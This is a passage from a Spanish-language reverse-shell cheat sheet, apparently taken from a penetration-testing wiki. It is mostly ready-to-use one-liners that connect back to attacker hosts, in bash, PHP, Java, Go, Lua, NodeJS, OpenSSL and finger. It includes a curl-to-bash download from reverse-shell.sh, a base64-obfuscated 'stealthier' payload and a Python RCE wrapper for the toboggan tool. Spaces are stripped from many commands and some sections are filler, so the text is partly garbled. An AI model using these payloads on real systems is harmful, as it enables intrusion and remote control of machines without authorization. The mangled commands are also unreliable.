curlhttps://reverse-shell.sh/1.1.1.1:3000|bashbash-i>&/dev/tcp/<ATTACKER-IP>/<PORT>0>&1bash-i>&/dev/udp/127.0.0.1/42420>&1#UDP0<&196;exec196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh<&196>&1962>&196exec5<>/dev/tcp/<ATTACKER-IP>/<PORT>; whilereadline0<&5; do $line 2>&5>&5; done#Short and bypass (credits to Dikline)(sh)0>/dev/tcp/10.10.10.10/9091#after getting the previous shell to get the output to executeexec>&0
Shell seguro de símbolos
No olvides verificar con otros shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh y bash.
#If you need a more stable connection do:bash-c'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'#Stealthier method#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0echobm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK|base64-d|bash2>/dev/null
Explicación del Shell
bash -i: Esta parte del comando inicia un shell Bash interactivo (-i).
>&: Esta parte del comando es una notación abreviada para redirigir tanto la salida estándar (stdout) como el error estándar (stderr) al mismo destino.
/dev/tcp/<IP-DEL-ATAQUE>/<PUERTO>: Este es un archivo especial que representa una conexión TCP a la dirección IP y puerto especificados.
Al redirigir las salidas de error y salida a este archivo, el comando envía efectivamente la salida de la sesión de shell interactiva a la máquina del atacante.
0>&1: Esta parte del comando redirige la entrada estándar (stdin) al mismo destino que la salida estándar (stdout).
Cuando se trata de una vulnerabilidad de Ejecución de Código Remoto (RCE) en una aplicación web basada en Linux, lograr un shell inverso puede ser obstaculizado por defensas de red como reglas de iptables o mecanismos de filtrado de paquetes intrincados. En entornos tan restringidos, un enfoque alternativo implica establecer un shell PTY (Pseudo Terminal) para interactuar con el sistema comprometido de manera más efectiva.
Una herramienta recomendada para este propósito es toboggan, que simplifica la interacción con el entorno objetivo.
Para utilizar toboggan de manera efectiva, crea un módulo de Python adaptado al contexto de RCE de tu sistema objetivo. Por ejemplo, un módulo llamado nix.py podría estar estructurado de la siguiente manera:
import jwt
import httpx
def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)
response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)
# Check if the request was successful
response.raise_for_status()
return response.text
Y luego, puedes ejecutar:
toboggan-mnix.py-i
Para aprovechar directamente una shell interactiva, puedes agregar -b para integración con Burpsuite y eliminar -i para un envoltorio rce más básico.
El prefijo y sufijo de tu carga útil (si es necesario)
La forma en que se envía la carga útil (¿encabezados? ¿datos? ¿información adicional?)
Luego, simplemente puedes enviar comandos o incluso usar el comando upgrade para obtener un PTY completo (ten en cuenta que las tuberías se leen y escriben con un retraso aproximado de 1.3 segundos).
Telnet es un protocolo de red que permite la comunicación bidireccional a través de una terminal virtual. Es comúnmente utilizado para acceder y administrar dispositivos de red de forma remota.
Perl es un lenguaje de programación versátil y potente que se puede utilizar para escribir scripts de shell en sistemas Linux. Es especialmente útil para tareas de administración del sistema y manipulación de archivos.
Ruby es un lenguaje de programación dinámico y de código abierto conocido por su simplicidad y productividad. Es ampliamente utilizado en el desarrollo web y es compatible con varias plataformas.
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.// Using this method may lead to instances where the connection reaches out to the listener and then closes.php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'// Using 'proc_open' makes no assumptions about what the file descriptor will be.// See https://security.stackexchange.com/a/198944 for more information<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock,1=>$sock,2=>$sock), $pipes); ?><?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
Java
r=Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
Lua
Lua es un lenguaje de programación poderoso, eficiente y ligero. Es ampliamente utilizado en la creación de scripts y en el desarrollo de aplicaciones. Lua es conocido por su facilidad de integración con otros lenguajes y por su flexibilidad.
#Linuxlua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linuxlua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
NodeJS
(function(){var net =require("net"),cp =require("child_process"),sh =cp.spawn("/bin/sh", []);var client =newnet.Socket();client.connect(8080,"10.17.26.64",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/; // Prevents the Node.js application form crashing})();orrequire('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")or-var x =global.process.mainModule.require-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')or// If you get to the constructor of a function you can define and execute another function inside a string"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
or// Abuse this syntax to get a reverse shellvar fs =this.process.binding('fs');var fs =process.binding('fs');orhttps://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
OpenSSL
El Atacante (Kali)
opensslreq-x509-newkeyrsa:4096-keyoutkey.pem-outcert.pem-days365-nodes#Generate certificateopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port>#Here you will be able to introduce the commandsopenssls_server-quiet-keykey.pem-certcert.pem-port<l_port2>#Here yo will be able to get the response
Awk es un lenguaje de programación versátil que se utiliza comúnmente para el procesamiento y análisis de archivos de texto en sistemas Unix y Linux. Permite a los hackers automatizar tareas, extraer y manipular datos, y generar informes personalizados. Awk es especialmente útil para trabajar con archivos de registro y realizar operaciones basadas en patrones y acciones definidas por el usuario.
Para enviar el comando escríbalo, presione enter y luego presione CTRL+D (para detener STDIN)
Víctima
export X=Connected; whiletrue; do X=`eval $(finger "$X"@<IP>2>/dev/null')`; sleep 1; doneexport X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
Gawk
Gawk es una herramienta de procesamiento de texto muy poderosa que se puede utilizar para manipular y transformar datos en archivos de texto. Es especialmente útil para extraer información específica de archivos de registro o de salida de otros comandos.